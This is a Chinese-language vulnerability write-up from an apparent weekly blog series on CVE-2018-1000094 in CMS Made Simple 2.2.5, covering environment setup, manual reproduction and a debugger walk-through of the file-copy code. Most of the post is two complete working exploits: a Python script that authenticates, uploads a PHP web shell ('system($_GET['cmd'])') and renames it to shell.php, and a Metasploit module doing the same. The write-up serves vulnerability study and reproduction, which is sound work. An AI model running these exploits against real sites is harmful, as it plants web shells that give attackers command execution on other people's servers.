CVE-2018-1000094-CMSMS 2.2.5代码执行漏洞(每周一洞)
2018-08-11

0x01 前言

CMS Made Simple是一个简单易于使用的内容管理系统。它使用PHP,MySQL和Smarty模板引擎开发。

昨天看漏洞库的时候看到这一款CMS,漏洞操作也挺简单的,但是可以申请CVE,于是乎就复现了一篇过程和写漏洞脚本。

0x02 环境

  1. 下载下来是一个安装文件cmsms-2.2.5-install.php,浏览器直接打开
  2. 默认Next,到数据库连接这一块要先创建一个数据库,我这里创建一个名为simple的数据库,然后填上数据库连接信息

  3. 填写管理账号密码信息
  4. 填写可写可读的目录和选择语言
  5. 安装完成,除了邮件模块,不过也用不上。

0x03 漏洞复现过程

  1. 登录后台

  2. 选择File Manager

  3. 编写一个文件名为a.txt内容为<?php phpinfo();?>的文件,然后点击上传。
  4. 选中a.txt,点击copy,名字改为rce.php,然后确定
  5. 文件就copy过来了,有点类似系统的copy命令。
  6. 访问rce.php

0x04 漏洞分析过程

  • 还记得上一篇的phpok的分析,如果找不出关键文件,可以抓包分析。

    可以看到主要是通过文件admin/moduleinterface.php文件进行操作的。

    可能这样看会让人很乱,我们可以用phpstorm的debug来调试整个过程
    相关配置可以看https://getpass.cn/2018/04/10/Breakpoint%20debugging%20with%20phpstorm+xdebug/
  • 从上面的抓包可以看出来,mact参数是FileManagerm1_fileaction,大家可以去这里下断点然后一步一步分析整个流程。
  • 有经验可以看出来,FileManager就是modules\FileManager目录,fileaction就是modules/FileManager/action.fileaction.php文件,再往下看代码的68行,可以看到我们的copy操作的代码。
    1
    2
    3
    4
    if (isset($params["fileactioncopy"]) || $fileaction=="copy") {
    include_once(__DIR__."/action.copy.php");
    return;
    }
  • 我们找到这个文件action.copy.php,我们在93行下一个断点,然后去操作copy,可以看到有各种很详细的参数信息。
  • 我们F7单步走,可以看到执行$res = copy($src,$dest);的时候没有发生错误。
  • 这样就正式完成了所有操作,如有不懂可以看下官方文档的copy函数的用法http://www.php.net/manual/en/function.copy.php

    0x05 漏洞脚本

    python版本

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    # Exploit Title: CMS Made Simple 2.2.5 authenticated Remote Code Execution
    # Date: 3rd of July, 2018
    # Exploit Author: Mustafa Hasan (@strukt93)
    # Vendor Homepage: http://www.cmsmadesimple.org/
    # Software Link: http://www.cmsmadesimple.org/downloads/cmsms/
    # Version: 2.2.5
    # CVE: CVE-2018-1000094

    import requests
    import base64

    base_url = "http://127.0.0.1/cmsms/admin"
    upload_dir = "/uploads"
    upload_url = base_url.split('/admin')[0] + upload_dir
    username = "admin"
    password = "123456"

    csrf_param = "__c"
    txt_filename = 'cmsmsrce.txt'
    php_filename = 'shell.php'
    payload = "<?php system($_GET['cmd']);?>"

    def parse_csrf_token(location):
    return location.split(csrf_param + "=")[1]

    def authenticate():
    page = "/login.php"
    url = base_url + page
    data = {
    "username": username,
    "password": password,
    "loginsubmit": "Submit"
    }
    response = requests.post(url, data=data, allow_redirects=False)
    status_code = response.status_code
    if status_code == 302:
    print "[+] Authenticated successfully with the supplied credentials"
    return response.cookies, parse_csrf_token(response.headers['Location'])
    print "[-] Authentication failed"
    return None, None

    def upload_txt(cookies, csrf_token):
    mact = "FileManager,m1_,upload,0"
    page = "/moduleinterface.php"
    url = base_url + page
    data = {
    "mact": mact,
    csrf_param: csrf_token,
    "disable_buffer": 1
    }
    txt = {
    'm1_files[]': (txt_filename, payload)
    }
    print "[*] Attempting to upload {}...".format(txt_filename)
    response = requests.post(url, data=data, files=txt, cookies=cookies)
    status_code = response.status_code
    if status_code == 200:
    print "[+] Successfully uploaded {}".format(txt_filename)
    return True
    print "[-] An error occurred while uploading {}".format(txt_filename)
    return None

    def copy_to_php(cookies, csrf_token):
    mact = "FileManager,m1_,fileaction,0"
    page = "/moduleinterface.php"
    url = base_url + page
    b64 = base64.b64encode(txt_filename)
    serialized = 'a:1:{{i:0;s:{}:"{}";}}'.format(len(b64), b64)
    data = {
    "mact": mact,
    csrf_param: csrf_token,
    "m1_fileactioncopy": "",
    "m1_path": upload_dir,
    "m1_selall": serialized,
    "m1_destdir": "/",
    "m1_destname": php_filename,
    "m1_submit": "Copy"
    }
    print "[*] Attempting to copy {} to {}...".format(txt_filename, php_filename)
    response = requests.post(url, data=data, cookies=cookies, allow_redirects=False)
    status_code = response.status_code
    if status_code == 302:
    if response.headers['Location'].endswith('copysuccess'):
    print "[+] File copied successfully"
    return True
    print "[-] An error occurred while copying, maybe {} already exists".format(php_filename)
    return None

    def quit():
    print "[-] Exploit failed"
    exit()

    def run():
    cookies,csrf_token = authenticate()
    if not cookies:
    quit()
    if not upload_txt(cookies, csrf_token):
    quit()
    if not copy_to_php(cookies, csrf_token):
    quit()
    print "[+] Exploit succeeded, shell can be found at: {}".format(upload_url + '/' + php_filename)

    run()

    MSF版本

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    136
    137
    138
    139
    140
    141
    142
    143
    144
    145
    146
    147
    148
    149
    150
    151
    152
    153
    154
    155
    156
    157
    158
    159
    160
    161
    162
    163
    164
    165
    166
    167
    168
    169
    170
    171
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##

    class MetasploitModule < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::Remote::HttpClient

    def initialize(info = {})
    super(update_info(info,
    'Name' => 'CMS Made Simple Authenticated RCE via File Upload/Copy',
    'Description' => %q{
    CMS Made Simple v2.2.5 allows an authenticated administrator to upload a file
    and rename it to have a .php extension. The file can then be executed by opening
    the URL of the file in the /uploads/ directory.
    },
    'Author' =>
    [
    'Mustafa Hasen', # Vulnerability discovery and EDB PoC
    'Jacob Robles' # Metasploit Module
    ],
    'License' => MSF_LICENSE,
    'References' =>
    [
    [ 'CVE', '2018-1000094' ],
    [ 'CWE', '434' ],
    [ 'EDB', '44976' ],
    [ 'URL', 'http://dev.cmsmadesimple.org/bug/view/11741' ]
    ],
    'Privileged' => false,
    'Platform' => [ 'php' ],
    'Arch' => ARCH_PHP,
    'Targets' =>
    [
    [ 'Universal', {} ],
    ],
    'DefaultTarget' => 0,
    'DisclosureDate' => 'Jul 03 2018'))

    register_options(
    [
    OptString.new('TARGETURI', [ true, "Base cmsms directory path", '/cmsms/']),
    OptString.new('USERNAME', [ true, "Username to authenticate with", '']),
    OptString.new('PASSWORD', [ true, "Password to authenticate with", ''])
    ])

    register_advanced_options ([
    OptBool.new('ForceExploit', [false, 'Override check result', false])
    ])
    end

    def check
    res = send_request_cgi({
    'uri' => normalize_uri(target_uri.path),
    'method' => 'GET'
    })

    unless res
    vprint_error 'Connection failed'
    return CheckCode::Unknown
    end

    unless res.body =~ /CMS Made Simple<\/a> version (\d+\.\d+\.\d+)/
    return CheckCode::Unknown
    end

    version = Gem::Version.new($1)
    vprint_status("#{peer} - CMS Made Simple Version: #{version}")

    if version == Gem::Version.new('2.2.5')
    return CheckCode::Appears
    end

    if version < Gem::Version.new('2.2.5')
    return CheckCode::Detected
    end

    CheckCode::Safe
    end

    def exploit
    unless [CheckCode::Detected, CheckCode::Appears].include?(check)
    unless datastore['ForceExploit']
    fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
    end
    print_warning 'Target does not appear to be vulnerable'
    end

    res = send_request_cgi({
    'uri' => normalize_uri(target_uri.path, 'admin', 'login.php'),
    'method' => 'POST',
    'vars_post' => {
    'username' => datastore['USERNAME'],
    'password' => datastore['PASSWORD'],
    'loginsubmit' => 'Submit'
    }
    })
    unless res
    fail_with(Failure::NotFound, 'A response was not received from the remote host')
    end

    unless res.code == 302 && res.get_cookies && res.headers['Location'] =~ /\/admin\?(.*)?=(.*)/
    fail_with(Failure::NoAccess, 'Authentication was unsuccessful')
    end

    vprint_good("#{peer} - Authentication successful")
    csrf_name = $1
    csrf_val = $2

    csrf = {csrf_name => csrf_val}
    cookies = res.get_cookies
    filename = rand_text_alpha(8..12)

    # Generate form data
    message = Rex::MIME::Message.new
    message.add_part(csrf[csrf_name], nil, nil, "form-data; name=\"#{csrf_name}\"")
    message.add_part('FileManager,m1_,upload,0', nil, nil, 'form-data; name="mact"')
    message.add_part('1', nil, nil, 'form-data; name="disable_buffer"')
    message.add_part(payload.encoded, nil, nil, "form-data; name=\"m1_files[]\"; filename=\"#{filename}.txt\"")
    data = message.to_s

    res = send_request_cgi({
    'uri' => normalize_uri(target_uri.path, 'admin', 'moduleinterface.php'),
    'method' => 'POST',
    'data' => data,
    'ctype' => "multipart/form-data; boundary=#{message.bound}",
    'cookie' => cookies
    })

    unless res && res.code == 200
    fail_with(Failure::UnexpectedReply, 'Failed to upload the text file')
    end
    vprint_good("#{peer} - File uploaded #{filename}.txt")

    fileb64 = Rex::Text.encode_base64("#{filename}.txt")
    data = {
    'mact' => 'FileManager,m1_,fileaction,0',
    "m1_fileactioncopy" => "",
    'm1_selall' => "a:1:{i:0;s:#{fileb64.length}:\"#{fileb64}\";}",
    'm1_destdir' => '/',
    'm1_destname' => "#{filename}.php",
    'm1_path' => '/uploads',
    'm1_submit' => 'Copy',
    csrf_name => csrf_val
    }

    res = send_request_cgi({
    'uri' => normalize_uri(target_uri.path, 'admin', 'moduleinterface.php'),
    'method' => 'POST',
    'cookie' => cookies,
    'vars_post' => data
    })

    unless res
    fail_with(Failure::NotFound, 'A response was not received from the remote host')
    end

    unless res.code == 302 && res.headers['Location'].to_s.include?('copysuccess')
    fail_with(Failure::UnexpectedReply, 'Failed to rename the file')
    end
    vprint_good("#{peer} - File renamed #{filename}.php")

    res = send_request_cgi({
    'uri' => normalize_uri(target_uri.path, 'uploads', "#{filename}.php"),
    'method' => 'GET',
    'cookie' => cookies
    })
    end
    end

    0x06 参考

    程序下载:http://s3.amazonaws.com/cmsms/downloads/14076/cmsms-2.2.5-install.zip
    https://www.exploit-db.com/exploits/44976/
    http://dev.cmsmadesimple.org/bug/view/11741
    https://packetstormsecurity.com/files/148622/CMS-Made-Simple-2.2.5-Authenticated-Remote-Command-Execution.html